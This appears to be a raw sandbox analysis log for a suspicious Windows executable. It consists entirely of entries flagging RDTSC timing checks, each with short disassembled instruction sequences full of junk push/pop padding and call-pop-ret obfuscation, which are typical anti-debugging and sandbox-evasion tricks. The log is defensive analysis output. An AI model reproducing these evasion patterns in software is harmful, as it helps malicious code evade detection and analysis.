Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01AAD second address: E01AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01AB3 second address: E01AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6682 second address: DC6699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A6094B681h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6699 second address: DC66AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3A607FD8BBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC66AC second address: DC66B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC66B2 second address: DC66CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC66CE second address: DC66EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3A6094B67Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F3A6094B676h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00EED second address: E00EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00EF1 second address: E00F07 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3A6094B676h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F3A6094B690h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F07 second address: E00F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F0D second address: E00F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E018B2 second address: E018B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E018B7 second address: E018BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E018BD second address: E018D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8BAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E018D2 second address: E018D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0421A second address: E0421E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0421E second address: E04289 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3A6094B676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b add dword ptr [esp], 42A142C1h 0x00000012 sub dword ptr [ebp+122D19A1h], ecx 0x00000018 call 00007F3A6094B679h 0x0000001d jmp 00007F3A6094B689h 0x00000022 push eax 0x00000023 jmp 00007F3A6094B688h 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3A6094B682h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04289 second address: E04293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3A607FD8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04293 second address: E042A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E042A2 second address: E042B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d je 00007F3A607FD8B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E043C6 second address: E043CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D58 second address: E04D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D5C second address: E04D60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04EEA second address: E04EFC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F3A607FD8B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E052D2 second address: E052D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E052D6 second address: E05321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F3A607FD8B8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3A607FD8C9h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06057 second address: E0605B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0605B second address: E06065 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06065 second address: E0606B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0606B second address: E0606F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A8F second address: E07A93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09146 second address: E0914B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08F04 second address: E08F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3A6094B689h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3A6094B67Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0914B second address: E09150 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09150 second address: E09161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09BB5 second address: E09BF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c mov di, ax 0x0000000f push 00000000h 0x00000011 mov edi, 1F25B3D5h 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 jmp 00007F3A607FD8BFh 0x0000001d jmp 00007F3A607FD8C3h 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0996B second address: E09975 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3A6094B676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09BF5 second address: E09C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8C9h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09975 second address: E0997A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A5CD second address: E0A622 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3A607FD8B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F3A607FD8B8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 jmp 00007F3A607FD8BEh 0x0000002e mov si, di 0x00000031 push 00000000h 0x00000033 sub dword ptr [ebp+122D1A8Ch], ecx 0x00000039 xchg eax, ebx 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jno 00007F3A607FD8B6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A3A3 second address: E0A3A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A622 second address: E0A626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A3A9 second address: E0A3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A626 second address: E0A632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C64F second address: E0C66B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B681h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AF02 second address: E0AF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C66B second address: E0C6EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A6094B67Eh 0x00000008 jmp 00007F3A6094B67Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F3A6094B678h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov edi, ebx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F3A6094B678h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b add dword ptr [ebp+1246BD13h], ecx 0x00000051 mov ebx, dword ptr [ebp+122D37C4h] 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b jne 00007F3A6094B676h 0x00000061 jg 00007F3A6094B676h 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C6EF second address: E0C6F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C6F5 second address: E0C6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E7B5 second address: E0E7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10590 second address: E10596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10596 second address: E1059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1059A second address: E105C0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3A6094B676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3A6094B687h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11508 second address: E1150C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1078B second address: E1079D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B67Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1448B second address: E14490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12729 second address: E1272E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14490 second address: E14496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1272E second address: E12733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14496 second address: E144B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3A607FD8C0h 0x0000000b popad 0x0000000c pushad 0x0000000d jne 00007F3A607FD8B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E144B6 second address: E144BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14ACC second address: E14B32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A607FD8BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D29CBh] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F3A607FD8B8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F3A607FD8B8h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pushad 0x0000004f popad 0x00000050 pop esi 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15AE9 second address: E15AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14C6A second address: E14C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A607FD8C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15AED second address: E15B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F3A6094B687h 0x0000000d nop 0x0000000e mov bx, C5BCh 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D2D57h], edx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F3A6094B678h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 xchg eax, esi 0x00000037 jmp 00007F3A6094B682h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15B57 second address: E15B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16CCB second address: E16CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jns 00007F3A6094B68Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16CF7 second address: E16CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17B58 second address: E17B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15CB1 second address: E15CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F3A607FD8C1h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F3A607FD8C7h 0x00000018 jns 00007F3A607FD8BCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19B87 second address: E19B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19B8E second address: E19B98 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3A607FD8BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BB87 second address: E1BB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BB8B second address: E1BBA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A607FD8C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BBA5 second address: E1BC12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B67Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F3A6094B684h 0x00000010 nop 0x00000011 mov bl, DAh 0x00000013 call 00007F3A6094B67Dh 0x00000018 call 00007F3A6094B684h 0x0000001d xor dword ptr [ebp+122D1A40h], ecx 0x00000023 pop ebx 0x00000024 pop edi 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D26BFh], edx 0x0000002d push 00000000h 0x0000002f mov bx, ax 0x00000032 mov bh, F9h 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jng 00007F3A6094B676h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BC12 second address: E1BC16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CCB5 second address: E1CCEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3A6094B689h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CCEC second address: E1CCF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BD66 second address: E1BD7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B680h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BD7A second address: E1BD7F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BE16 second address: E1BE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F3A6094B676h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E215DB second address: E215EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8BAh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E215EA second address: E215FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A6094B680h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E215FE second address: E21604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB76C2 second address: DB76C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB76C6 second address: DB76D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22BD0 second address: E22BD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27E05 second address: E27E0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E280FA second address: E28102 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28102 second address: E28107 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28107 second address: E2811B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnc 00007F3A6094B676h 0x0000000c jne 00007F3A6094B676h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
